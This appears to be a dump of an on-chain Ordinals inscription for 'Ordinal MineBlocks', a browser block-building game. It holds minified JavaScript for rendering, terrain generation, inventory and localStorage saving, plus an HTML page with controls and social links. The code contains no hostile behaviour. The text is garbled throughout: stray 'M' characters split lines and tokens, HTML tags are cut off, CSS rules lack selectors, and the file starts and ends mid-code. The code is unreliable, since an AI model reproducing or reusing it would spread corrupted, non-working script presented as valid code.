=n?l.shift=1:65==n?l.strafeLeft=1:68==n?l.strafeRight=1:87==n?l.forward=1:83==n?l.backward=1:32==n?l.jump=1:48==n?r.hotbar.selected=9:49<=n&&57>=n?r.hotbar.selected=n-49:69==n&&(r.hotbar.side=r.hotbar.side?0:1)}),f("keyup",function(t){var e=t.keyCode;16==e?l.shift=0:65==e?l.strafeLeft=0:68==e?l.strafeRight=0:87==e?l.forward=0:83==e?l.backward=0:32==e&&(l.jump=0)}),f("click",function(t){for(var e,n=window.game,f=n.player,d=n.hotbar,v=d.items,m=f.x,h=f.y,p=f.z,w=[],y=0;6e3>y;y++){e=o(f.pitch),m+=i(f.yaw)*e/1e3,h-=i(fM
.pitch)/1e3,p+=o(f.yaw)*e/1e3;var g=s(m,h,p),M=0<g;if((9==g||10==g)&&(M=l.shift),M){if(0===t.button)r[0|m][0|h][0|p]=0,(0,c.inventoryAdd)(g);else if(2===t.button){var b=w,_=a(b,3),x=_[0],A=_[1],S=_[2],k=u.BLOCKS_MAP[d.side][d.selected],E=v[k];if(!E)return;r[0|x][0|A][0|S]=k||1,(0,c.inventoryRemove)(k)}return}w=[m,h,p]}}),["pointer","mozpointer","webkitpointer"].forEach(function(t){return document.addEventListener(t+"lockchange",function(){var t=document,e=t.pointerLockElement,r=t.mozPointerLockElement,n=t.webkitPoiM
nterLockElement;document[e==d||r==d||n==d?"addEventListener":"removeEventListener"]("mousemove",v)})})}}},function(t,e,r){"use strict";function n(t,e,r){for(var n=window.game,o=n.pixels,i=n.texmap,a=n.width,u=n.hotbar,c=0;16>c;c++)for(var f=0;16>f;f++){var s=i[f+16*(c+16)+256*t*3],l=u.items[t],d=1.328125,v=(255&s>>16)*d,m=(255&s>>8)*d,h=(255&s)*d,p=4*(e+f+(r+c)*a);if(!l){var w=(v+m+h)/6;v=w+v/3,m=w+m/3,h=w+h/3}o.data[p+0]=v,o.data[p+1]=m,o.data[p+2]=h}}function o(t,e,r){var n=window.game.ctx;if(void 0!=t&&t!==1/0){M
var o=999<t?(0|t/1e3)+"k":t;n.font="100 8px OCR A Std,Impact,monospace",n.strokeStyle="black",n.textAlign="right",n.lineWidth=2,n.fillStyle="#fff",n.strokeText(o,e,r),n.fillText(o,e,r)}}var i=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(M
e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),a=r(4),u=a.BLOCKS_MAP,c=a.CRAFTABLES,f=function(){return(window.game.width-180)/2},s=function(){return window.game.height-16-8},l=function(t){var e=0;return Object.entries(c).some(function(r){var n=i(r,2),o=n[0],a=n[1];return i(a||[],1)[0]===t&&(e=o,!0)}),e};t.exports={drawIcons:function(){var t=window.game.hotbar;u[t.side].forEach(function(t,e){n(t,f()+18*e,s())})},drawHotbarBorder:function(){var t=window.game,e=t.ctx,r=t.hotbar,nM
=f()+18*r.selected;e.lineWidth=1,e.strokeStyle="#fff",e.strokeRect(n+1,s()+1,14,14),e.strokeStyle="#000",e.strokeRect(n,s(),16,16)},drawIconNumers:function(){for(var t=window.game.hotbar,e=t.side,r=0;10>r;r++){var n=f()+18*r,i=u[e][r];o(t.items[i],n+16,s()+16)}},inventoryAdd:function(t){var e=window.game.hotbar,r=e.items;r[t]++;var n=c[t];if(n){var o=i(n,2),a=o[0],u=o[1];return void(r[a]=0|r[t]/u)}var f=l(t);if(f){var s=i(c[f],2),d=s[1];r[f]+=d}},inventoryRemove:function(t){var e=window.game.hotbar,r=e.items;r[t]--M
;var n=c[t];if(n){var o=i(n,2),a=o[0],u=o[1];return void(r[a]=0|r[t]/u)}var f=l(t);if(f){var s=i(c[f],2),d=s[1];r[f]-=d}}}},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}var o=Math.cos,i=Math.sin,a=r(2),u=n(a),c=r(1),f=n(c),s=r(21),l=n(s),d=r(0),v=0,m=0;(0,f.default)(function(){m=(m+1)%3}),t.exports={render:function(){var t=window.game,e=t.texmap,r=t.width,n=t.height,a=t.player,c=t.CONST,f=(t.fps,t.scanlinesEnabled),s=t.renderDistance,h=o(a.pitch),p=i(a.pitch),w=o(a.yaw),y=i(a.yaw)M
,g=a.x-(0|a.x),M=a.y-(0|a.y),b=a.z-(0|a.z);v=v?0:1;for(var _=0;_<r;_++)for(var x=(0,d.calcArcFromLength)(_,r),A=(_-r/2)/n,S=f?_%2+v-1:0;S<n;S+=f?2:1){for(var k,E=(0,d.calcArcFromLength)(S,n),L=s+(s*x+s*E)/2,T=(S-n/2)/n,C=h+T*p,O=T*h-p,I=A*w+C*y,P=C*w-A*y,j=0,R=255,z=0;3>z;z++){k=I,1==z&&(k=O),2==z&&(k=P);var B=1/Math.abs(k),N=I*B,D=O*B,F=P*B,G=g;1==z&&(G=M),2==z&&(G=b),0<k&&(G=1-G);var q=a.x+N*G,H=a.y+D*G,W=a.z+F*G;0>k&&(z||q--,1==z&&H--,2==z&&W--);for(var X,Z=B*G,J=c.MAP_SIZE-1;Z<L;){if(X=(0,d.getBlock)(q&J,63&H,WM
&J),(W>J||63<H||q>J||0>W||0>H||0>q)&&(X=0),0<X){var K=15&16*(q+W),Y=16+(15&16*H);1==z&&(K=15&16*q,Y=15&16*W,0>D&&(Y+=32));var V=e[K+16*Y+256*X*3];if(0<V){if(j=V,1==z&&(9==X||10==X)){var U=K+Y*(m+1)*16+256*X*3;9==X&&7680>U?j=e[U]:10==X&&8680>U&&(j=e[U])}var Q=u.default.timeModifier(),$=1-Z/s*Q;R=(255-(z+2)%3*50)*$,L=Z}}q+=N,H+=D,W+=F,Z+=B}}(0,l.default)(_,S,R,j)}}}},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}var o=r(13),i=n(o),a=r(5),u=n(a),c=r(2),f=r(1),s=n(f),l=r(0),d=r(3),v=n(M
d),m=r(9),h=r(7),p=r(18),w=r(4),y=w.RES,g=y.WIDTH,M=y.HEIGHT,b=0|w.MAP_SIZE/2;document.title="Ordinal MineBlocks",window.game={CONST:w},window.game={CONST:w,width:g,height:M,getTime:c.getTime,setTime:c.setTime,player:{x:b,y:0,z:b,velocity:0,pitch:-.1,yaw:0},hotbar:{selected:0,side:0,items:Array(21).fill(0)},map:h.map(),texmap:h.textures(),ctx:document.getElementById("game").getContext("2d"),fps:0,scanlinesEnabled:!0,renderDistance:32},document.addEventListener("DOMContentLoaded",function(){var t=window,e=t.game,r=eM
.width,n=e.height,o=e.ctx,a=document.getElementById("toolbar"),c=(0,l.getCanvas)();c.width=r,c.height=n;var f=function(){var t=1.3334*window.innerHeight,e=window.innerHeight;.75*window.innerWidth<window.innerHeight&&(t=window.innerWidth,e=.75*window.innerWidth),c.setAttribute("style","width: "+t+"px; height: "+e+"px")};e.pixels=o.createImageData(r,n),e.pixels.data.fill(255),window.addEventListener("resize",f),f(),m.init(),p.clock.init(),setTimeout(u.default.main,500),(0,s.default)(function(){window.game}),a.addEvenM
tListener("click",function(t){var r=t.target.id;"lock"===r?a.classList.toggle("extended"):"save"===r?(0,i.default)():"load"===r?window.location.reload():"plus"===r?e.renderDistance+=5:"minus"===r?e.renderDistance-=5:"interlace"===r?setTimeout(function(){return e.scanlinesEnabled=!e.scanlinesEnabled},1):"newseeed"===r&&confirm("Generate a new seed? This will erase your current save.")&&(w.LOCAL_STORAGE.forEach(function(t){return localStorage.removeItem(t)}),v.default.safeSet("_mcs",0|Math.random()*Number.MAX_SAFE_INM
TEGER),window.location.reload()),5>e.renderDistance?e.renderDistance=5:255<e.renderDistance&&(e.renderDistance=255)})})},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}function o(){for(var t="",e=m(h()),r=m(window.game.map),n=0;n<r.length;n++){var o=e[n],i=r[n];t+=o===i?"-":i}return t}function i(t){for(var e="",r=t[0],n=1,o=1;o<t.length;o++)t[o]===r?n++:(e+=1==n?r:n+r,r=t[o],n=1);return e+=n+r}Object.defineProperty(e,"__esModule",{value:!0}),e.stringify=void 0;var a=r(5),u=r(2),c=r(M
7),f=n(c),s=r(3),l=n(s),d=r(6),v=Array(58).fill(1).map(function(t,e){return String.fromCharCode(65+e)}),m=e.stringify=function(t){return t.map(function(t){return t.map(function(t){return t.map(function(t){return v[t]||v[0]}).join("")}).join("")}).join("")},h=function(){return window.game._map=window.game._map||f.default.map()};e.default=function(){var t=window,e=t.game;l.default.safeSet("_mct",(0,u.getTime)()),l.default.safeSet("_mci",JSON.stringify(e.hotbar.items));var r=o();console.log("saving mapStr length",r.leM
ngth);var n=i(r),c=d.compress(n);console.log("minified",n.length,n),console.log("compressed",c.length,c),l.default.safeSet("_mcm",c);var f=d.decompress(c);(0,a.unMinify)(f)===r?console.log("success"):console.log("Could not save map internally")}},function(t,e,r){"use strict";function n(t,e,r,n){for(var o=e*r%6+6,i=0;i<o;i++)t[e][r-i][n]=7;for(var a=o;0<a;a-=3)for(var u=-1;2>u;u++)for(var f=-1;2>f;f++)c(f+e,r-a,u+n,8,t,7)}var o=Math.floor,i=r(3),a=function(t){return t&&t.__esModule?t:{default:t}}(i),u=r(0),c=u.setBlM
ock,f=r(8),s=r(15),l=a.default.exits(),d=a.default.safeGet("_mcs");l?!d&&(a.default.safeSet("_mcs",0|Math.random()*Number.MAX_SAFE_INTEGER),window.location.reload()):(d=0,document.querySelector(".nosaving").classList.toggle("show"),console.log('no localstorage. Using seed "0". No saving permitted'));var v=s(d),m={1:1,2:1,4:1};t.exports=function(){for(var t=window.game.CONST,e=t.SEA_LEVEL,r=t.MAP_SCALE,i=t.MAP_SIZE,a=f(),u=function(){return Array(i)},c=document.getElementById("loading"),s=u(),l=u(),d=0;d<i;d++){s[d]M
=u(),l[d]=u();for(var h,p=0;p<i;p++){h=v(d/r,p/r,0),h*=10,h+=32,h=o(h),s[d][p]=h;var w=v(d/2,p/2,0);w*=3,w=o(w),l[d][p]=w,window.treeMap=l}}console.log("ran");for(var y=0;y<i;y++)for(var g,M=0;M<i;M++){g=s[y][M],a[y][g][M]=g<=e?1:12;for(var b=g-1;b>e;b--)a[y][b][M]=9;for(var _=g+1;64>_;_++)a[y][_][M]=4;-2>=l[y][M]&&g<e&&n(a,y,g-1,M),34==g&&(a[y][g][M]=13);for(var x=e-5;64>x;x++){if(48<x){var A=v(y/r*4,x/r*2,M/r*4);if(.55<A&&.6>A){var S=a[y][x][M];m[S]&&(a[y][x][M]=10)}}var k=v(y/r*2,x/r*4,M/r*2);if(.35<k&&.8>k){varM
 E=a[y][x][M];m[E]&&(a[y][x][M]=0)}var L=v(y/r*8,x/r*8,M/r*8);if(.2<L&&.8>L){var T=a[y][x][M];m[T]&&(50>x&&.2<L&&.21>L?a[y][x][M]=14:42<x&&50>x&&.55<L&&.6>L?a[y][x][M]=15:48<x&&.7<L&&(a[y][x][M]=16))}if(61<x)if(63==x)a[y][x][M]=11;else{var C=v(y/r*64,x/r*64,M/r*64);.1<C&&(a[y][x][M]=11)}}}return c.hidden=!0,a}},function(t,e,r){"use strict";function n(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}function o(t){if(Array.isArray(t)){for(var e=0,r=Array(t.length);e<t.length;e++)r[e]M
=t[e];return r}return Array.from(t)}var i=function(){function t(t,e){for(var r,n=0;n<e.length;n++)r=e[n],r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(t,r.key,r)}return function(e,r,n){return r&&t(e.prototype,r),n&&t(e,n),e}}(),a=r(16),u=function(t){return t&&t.__esModule?t:{default:t}}(a);t.exports=function(){for(var t,e=0<arguments.length&&void 0!==arguments[0]?arguments[0]:1,r=1<arguments.length&&void 0!==arguments[1]?arguments[1]:Array(512),a=-1,c=Math.floor,M
f=[].concat(o(r)),s=function(t){return t*t*t*(t*(6*t-15)+10)},l=function(t,e,r){return(1-r)*t+r*e},d=[[1,1],[a,1],[1,a],[a,a],[1,,1],[a,,1],[1,,a],[a,,a],[,1,1],[,a,1],[,1,a],[,a,a]].map(function(t){return new(Function.prototype.bind.apply(function(){function t(){var e=0<arguments.length&&void 0!==arguments[0]?arguments[0]:0,r=1<arguments.length&&void 0!==arguments[1]?arguments[1]:0,o=2<arguments.length&&void 0!==arguments[2]?arguments[2]:0;n(this,t),this.x=e,this.y=r,this.z=o}return i(t,[{key:"d",value:function(t,M
e,r){return this.x*t+this.y*e+this.z*r}}]),t}(),[null].concat(o(t))))}),v=0;256>v;v++)t=(0,u.default)(e+v,256)^(1&v?255&e:255&e>>8),r[v]=r[v+256]=t,f[v]=f[v+256]=d[t%12];return function(t,e,n){var o=c(t),i=c(e),a=c(n);t-=o,e-=i,n-=a,o&=255,i&=255,a&=255;var u=s(t),d=s(e),v=s(n),m=i+r[a],h=i+r[a+1],p=o+r[m],w=o+r[h],y=o+r[m+1],g=o+r[h+1];return l(l(l(f[p].d(t,e,n),f[p+1].d(t-1,e,n),u),l(f[w].d(t,e,n-1),f[w+1].d(t-1,e,n-1),u),v),l(l(f[y].d(t,e-1,n),f[y+1].d(t-1,e-1,n),u),l(f[g].d(t,e-1,n-1),f[g+1].d(t-1,e-1,n-1),u),vM
),d)}}},function(t,e){"use strict";Object.defineProperty(e,"__esModule",{value:!0}),e.default=function(t,e){return(""+(2147483647&Math.imul(48271,t))/2147483648).split("").slice(-10).join("")%e}},function(t){"use strict";t.exports=function(){for(var t=Array(12288),e=1;21>e;e++)for(var r=255-(0|96*Math.random()),n=0;48>n;n++)!function(n){for(var o=0;16>o;o++)!function(o){var i=9858122,a=r;if(32<=n&&(a/=2),(4!=e&&6!=e||0==(0|3*Math.random()))&&(r=255-(0|96*Math.random())),1==e&&(n<18+(3&o*o*3+81*o>>2)?i=6990400:1==e&M
&n<19+(3&o*o*3+81*o>>2)&&(r=2*r/3)),3==e&&(i=14606046,0<o&&15>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(a=0)),4==e&&(i=8355711),5==e&&(i=11876885,(0==(o+4*(n>>2))%8||0==n%4)&&(i=12365733)),6==e&&(i=10519115,0==(0|16*Math.random())&&(r=255-(0|96*Math.random())),0==n%4&&(a=132)),7==e)if(i=6771249,0<o&&15>o&&(0<n&&15>n||32<n&&47>n)){i=12359778;var u=o-7,c=(15&n)-7;0>u&&(u=1-u),0>c&&(c=1-c),c>u&&(u=c),r=196-(0|32*Math.random())+u%3*32}else 0==(0|2*Math.random())&&(r=r*(140-100*(1&o))/100);8==e&&(i=5298487,0==(0|2*Math.rM
andom())&&(i=0,a=255)),9==e&&(i=4219135,a=192+(0|32*Math.random())),10==e&&(i=15810114,a=192+(0|32*Math.random()),0==(0|2*Math.random())&&(i=15834690)),11==e&&(i=4392035,0==(0|2*Math.random())&&(i=2294851)),12==e&&(i=15196080,1>16*Math.random()&&(a=164+4*o)),13==e&&(i=15200224,1>16*Math.random()&&(i=16232346));var f=function(t){2<o&&13>o&&(2<n&&13>n||18<n&&29>n)&&1>4*Math.random()&&(i=t)};14==e&&(i=8355711,f(15810114)),15==e&&(i=8355711,f(15778600)),16==e&&(i=8355711,f(4517357)),17==e&&(i=13704738,1>16*Math.random(M
)&&(a=164+4*o),0<=o&&14>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(32>n&&(i=15810114),r=255)),18==e&&(i=13673224,1>16*Math.random()&&(a=164+4*o),0<=o&&14>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(32>n&&(i=15778600),r=255)),19==e&&(i=3386283,1>16*Math.random()&&(a=164+4*o),0<=o&&14>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(32>n&&(i=4517357),r=255)),20==e&&(i=8355711,1<=(0|4*Math.random())&&(Math.random(),i=5277975));var s=(255&i>>16)*a/255<<16|(255&i>>8)*a/255<<8|(255&i)*a/255;t[o+16*n+256*e*3]=s}(o)}(n);return t}},funcM
tion(t,e,r){"use strict";var n=r(19),o=r(11);t.exports={clock:n,render:o}},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}function o(){var t=window.game,e=t.ctx,r=t.pixels;window._tick+=1,d.applyGravity(),d.calculateMovement(),m(),f.default.drawIcons(),e.putImageData(r,0,0),f.default.drawHotbarBorder(),f.default.drawIconNumers(),(0,l.default)()}function i(t){var e=window.game.CONST.MAX_FPS;return t-h<1e3/e?window.requestAnimationFrame(i):(o(),h=t,void window.requestAnimationFrame(i)M
)}var a=r(1),u=n(a),c=r(10),f=n(c),s=r(20),l=n(s),d=r(9),v=r(11),m=v.render,h=0;t.exports={init:function(){window._tick=0;var t=document.querySelector(".fps");(0,u.default)(function(){var e=window._tick;window.game.fps=e,t&&(t.innerText=e.toString()+" fps"),window._tick=0}),window.requestAnimationFrame?window.requestAnimationFrame(i):setInterval(o,10)}}},function(t,e,r){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var n,o,i,a=r(1),u=function(t){return t&&t.__esModule?t:{default:t}}(a);e.default=funM
ction(){var t=window.game,e=t.ctx,r=t.width,a=t.height;e.lineWidth=1,e.strokeStyle="#fff",e.strokeStyle="rgb("+n+","+o+","+i+")",e.strokeRect(r/2-1,a/2-1,2,2)},(0,u.default)(function(){var t=window.game,e=t.pixels,r=t.width,a=t.height,u=4*(r/2+(a/2-5)*r);n=255&e.data[u+0]+128,o=255&e.data[u+1]+128,i=255&e.data[u+2]+128})},function(t,e,r){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var n=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.M
push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),o=r(2),i=function(t){return t&&t.__esModule?t:{default:t}}(o),a=r(0);e.default=function(t,e,r,o){var u=window.game,c=u.pixels,f=u.width,s=i.default.color,l=(0,a.isInsideCheck)(),d=i.default.timeModifier(),v=s(),m=n(v,3)L
,h=m[0],p=m[1],w=m[2],y=255*r/48960;l||(y*=1-d/2);var g=(255&o>>16)*y,M=(255&o>>8)*y,b=(255&o)*y,_=4*(t+e*f);c.data[_+0]=g||h,c.data[_+1]=M||p,c.data[_+2]=b||w}}]);
</script></body></html>
text/html;charset=utf-8
<!DOCTYPE html><html><head><style>
body{background:#DDDDDD}
canvas{image-rendering:pixelated;box-sizing:border-box}
body{text-align:center}
button{border-radius:4px}
.fixed{position:fixed;top:4px}
.fps{right:4px;font-family:Impact,Charcoal,sans-serif;color:white;-webkit-text-stroke:1px black;font-variant:small-caps;font-size:20px}
.hidables,.nosaving{display:none}
#lock,#save{background:none;background:#ffffff4d}
  line-height: 100vh;
  font-family: sans-serif
.extended #lock:after{background:#ffffff;content:" Options"}
.extended #save:after{background: #ffffff;content:" Save"}
.extended .hidables,.show{display:initial}
.text{color:#777;text-align:left;padding-left:20px;margin-bottom:80px}.text div{display:inline-block;width:48%}
.text:hover{color:#000}
/* Reset CSS */html{line-height:1.15;-webkit-text-size-adjust:100%}body{margin:0}main,details{display:block}h1{font-size:2em;margin:.67em 0}hr{box-M
sizing:content-box;height:0;overflow:visible}pre{font:1em monospace,monospace}a{background-color:transparent}abbr[title]{border-bottom:none;text-decoration:underline;text-decoration:underline dotted}b,strong{font-weight:bolder}code,kbd,samp{font:1em monospace,monospace}small{font-size:80%}sub,sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline}sub{bottom:-.25em}sup{top:-.5em}img{border-style:none}button,input,optgroup,select,textarea{margin:0;font:100%/1.15 inherit}button,input{overflow:visiblM
e}button,select{text-transform:none}button,[type="button"],[type="reset"],[type="submit"]{-webkit-appearance:button}button::-moz-focus-inner,[type="button"]::-moz-focus-inner,[type="reset"]::-moz-focus-inner,[type="submit"]::-moz-focus-inner{border-style:none;padding:0}button:-moz-focusring,[type="button"]:-moz-focusring,[type="reset"]:-moz-focusring,[type="submit"]:-moz-focusring{outline:1px dotted ButtonText}fieldset{padding:.35em .75em .625em}legend{box-sizing:border-box;color:inherit;display:table;max-width:100M
%;padding:0;white-space:normal}progress{vertical-align:baseline}textarea{overflow:auto}[type="checkbox"],[type="radio"]{box-sizing:border-box;padding:0}[type="number"]::-webkit-inner-spin-button,[type="number"]::-webkit-outer-spin-button{height:auto}[type="search"]{-webkit-appearance:textfield;outline-offset:-2px}[type="search"]::-webkit-search-decoration{-webkit-appearance:none}::-webkit-file-upload-button{-webkit-appearance:button;font:;font-style:normal;font-variant:normal;font-weight:normal;font-family:inherit}M
summary{display:list-item}[hidden],template{display:none}
  <div id=toolbar class=fixed>
    <button id=lock>
    <button id=save>
    <span class=hidables>
      <button id=load>
      <button id=newseeed>
      <span> | </span>
      <button id=minus>
      <button id=plus>
      <button id=interlace>
  <div class="fixed fps">0</div>
=loading>Click Content to play @OrdMineBlocks</h1>
  <canvas id=game></canvas>
  <div class=center>
    <h1>Ordinal MineBlocks</h1>
    <p>Bringing Blocks on the Blockchain, On-Chain, Forever.</p>
      <h2>Join Us:</h2>
      <p>- Twitter: https://twitter.com/OrdMineBlocks </p>
      <p>- Discord: https://discord.gg/dAqfzKQDBj </p>
    <div class=center>
      <h2>Controls:</h2>
      <p>- <b>[wasd]</b> to move</p>
      <p>- <b>[e]</b> to toggle craftable items</p>
      <p>- <b>[spacebar]</b> to jumM
      <p>- Hold <b>[shift]</b> to take/build on liquids</p>
      <p>- <b>[left click]</b> to break a block</p>
      <p>- <b>[right click]</b> to build a block</p>
      <p>- <b>[number keys]</b> to change selected items</p>
<script type="text/javascript">
  !function(t){function e(n){if(r[n])return r[n].exports;var o=r[n]={i:n,l:!1,exports:{}};return t[n].call(o.exports,o,o.exports,e),o.l=!0,o.exports}var r={};e.m=t,e.c=r,e.d=function(t,r,n){e.o(t,r)||Object.defineProperty(t,r,{configurM
able:!1,enumerable:!0,get:n})},e.n=function(t){var r=t&&t.__esModule?function(){return t.default}:function(){return t};return e.d(r,"a",r),r},e.o=function(t,e){return Object.prototype.hasOwnProperty.call(t,e)},e.p="",e(e.s=12)}([function(t,e,r){"use strict";function n(t,e,r){try{return window.game.map[0|t][0|e][0|r]}catch(e){}}var o=r(1),i=function(t){return t&&t.__esModule?t:{default:t}}(o),a=!1,u=!1,c=!1,f=document.querySelector("#game");(0,i.default)(function(){u=!1}),t.exports={dlog:function(){c||(c=!0,console.M
log.apply(this,arguments),setTimeout(function(){return c=!1},500))},drawAllTextures:function(){for(var t=window.game,e=t.pixels,r=t.texmap,n=t.width,o=0;21>o;o++)for(var i=0;i<48;i++)for(var a=0;16>a;a++){var u=r[a+16*i+256*o*3],c=1.328125,f=16*o,s=f+a,l=n*i;16<o&&(s-=272,l=n*(i+48));var d=4*(s+l);e.data[d+0]=(255&u>>16)*c,e.data[d+1]=(255&u>>8)*c,e.data[d+2]=(255&u)*c}},getBlock:n,setBlock:function(t,e,r,n,o,i){if(o=o||window.game.map,!(255<t||255<e||255<r))try{o[t][e][r]!==i&&(o[t][e][r]=n)}catch(e){}},isInsideChM
eck:function(){if(u)return a;u=!0;for(var t,e=window.game.player,r=e.x,o=e.y,i=e.z,c=o;0<c;c--)if(0!==(t=n(r,c,i))&&8!==t)return a=!0;return a=!1},calcArcFromLength:function(t,e){var r=e/2;return(r-Math.abs(t-r))/r},tryCatch:function(t){var e=null;try{e=t()}catch(t){e=null}return e},getCanvas:function(){return f}}},function(t,e){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var r=[];setInterval(function(){r.forEach(function(t){return t()})},1e3),e.default=function(t){r.push(t)}},function(t,e,r){"useM
 strict";function n(){return Math.abs(c)/255}function o(){var t=f[0],e=f[1],r=f[2],o=s[0],i=s[1],a=s[2],u=n(),c=[t*(1-u),e*(1-u),r*(1-u)],l=[o*u,i*u,a*u];return[c[0]+l[0],c[1]+l[1],c[2]+l[2]]}Object.defineProperty(e,"__esModule",{value:!0}),e.time=void 0;var i=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){iM
f(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),a=r(1),u=function(t){return t&&t.__esModule?t:{default:t}}(a),c=e.time=0,f=[154,218,255],s=[200,25,75];(0,u.default)(function(){e.time=c+=.5,255<c&&(e.time=c=-255)}),t.exports={color:function(){var t=o(),e=i(t,3),r=e[0],a=e[1],u=e[2],c=1-n();return[r*c,a*c,u*c]},timeModifier:n,setTime:function(t){e.time=c=parseFloat(t)},getTime:function(){return c}}},function(t,e,M
r){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var n=r(0),o=function(t){return t&&t.__esModule?t:{default:t}}(n);e.default={safeGet:function(t){return o.default.tryCatch(function(){return localStorage.getItem(t)})||""},safeSet:function(t,e){return o.default.tryCatch(function(){return localStorage.setItem(t,e)})||""},exits:function(){try{return localStorage.getItem(null),!0}catch(t){return!1}}}},function(t){"use strict";t.exports={RES:{WIDTH:320,HEIGHT:240},MAP_SIZE:256,MAX_FPS:60,SEA_LEVEL:30,MAP_M
SCALE:31,JMP:{STR:.4,AMP:.001},BLOCKS_MAP:[[2,4,12,7,9,11,13,14,15,16],[1,20,3,6,10,8,5,17,18,19]],CRAFTABLES:{2:[1,1],4:[20,6],7:[6,.25],9:[10,8],11:[8,.5],12:[3,4],13:[5,2],14:[17,9],15:[18,9],16:[19,9]},LOCAL_STORAGE:["_mcm","_mcs","_mct","_mci"]}},function(t,e,r){"use strict";function n(t){for(var e=0;e<t.length;e++){var r=e%256,n=0|e/256%64,o=0|e/256/64;if("-"!==t[e]){var i=l.indexOf(t[e]);-1!==i&&(window.game.map[o][n][r]=i)}}}function o(t,e){for(var r="",n=0;n<e;n++)r+=t;return r}function i(t){for(var e,r=""M
,n="",i=0;i<t.length;i++)e=/\d/.test(t[i]),e?n+=t[i]:n?(r+=o(t[i],parseInt(n,10)),n=""):r+=t[i];return r}var a=r(0),u=r(2),c=r(3),f=function(t){return t&&t.__esModule?t:{default:t}}(c),s=r(6),l=Array(58).fill(1).map(function(t,e){return String.fromCharCode(65+e)});t.exports={main:function(){var t=window,e=t.game,r=f.default.safeGet("_mct"),o=(0,a.tryCatch)(function(){return JSON.parse(f.default.safeGet("_mci"))});o&&(e.hotbar.items=o.map(function(t){return null===t?1/0:t})),r&&(0,u.setTime)(r);var c=f.default.safeGM
et("_mcm");c&&n(i(s.decompress(c)))},unMinify:i}},function(t){"use strict";var e=String.fromCharCode,r=32768,n=Object.prototype.hasOwnProperty,o=Math.pow,i=function(t){return t.charCodeAt(0)};t.exports={compress:function(t){if(null==t)return"";var r,a,u,c=function(t){return e(t)},f={},s={},l="",d="",v="",m=2,h=3,p=2,w=[],y=0,g=0;for(u=0;u<t.length;u+=1)if(l=t.charAt(u),n.call(f,l)||(f[l]=h++,s[l]=!0),d=v+l,n.call(f,d))v=d;else{if(n.call(s,v)){if(256>i(v)){for(r=0;r<p;r++)y<<=1,15==g?(g=0,w.push(c(y)),y=0):g++;for(aM
=i(v),r=0;8>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1}else{for(a=1,r=0;r<p;r++)y=y<<1|a,15==g?(g=0,w.push(c(y)),y=0):g++,a=0;for(a=i(v),r=0;16>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1}m--,0==m&&(m=o(2,p),p++),delete s[v]}else for(a=f[v],r=0;r<p;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1;m--,0==m&&(m=o(2,p),p++),f[d]=h++,v=l+""}if(""!==v){if(n.call(s,v)){if(256>i(v)){for(r=0;r<p;r++)y<<=1,15==g?(g=0,w.push(c(y)),y=0):g++;for(a=i(v),r=0;8>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)M
),y=0):g++,a>>=1}else{for(a=1,r=0;r<p;r++)y=y<<1|a,15==g?(g=0,w.push(c(y)),y=0):g++,a=0;for(a=i(v),r=0;16>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1}m--,0==m&&(m=o(2,p),p++),delete s[v]}else for(a=f[v],r=0;r<p;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1;0==--m&&(m=o(2,p),p++)}for(a=2,r=0;r<p;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1;for(;;){if(y<<=1,15==g){w.push(c(y));break}g++}return w.join("")},decompress:function(t){var n,i,a,u,c,f,s,l=function(e){return t.charCodeAt(e)},d=[],M
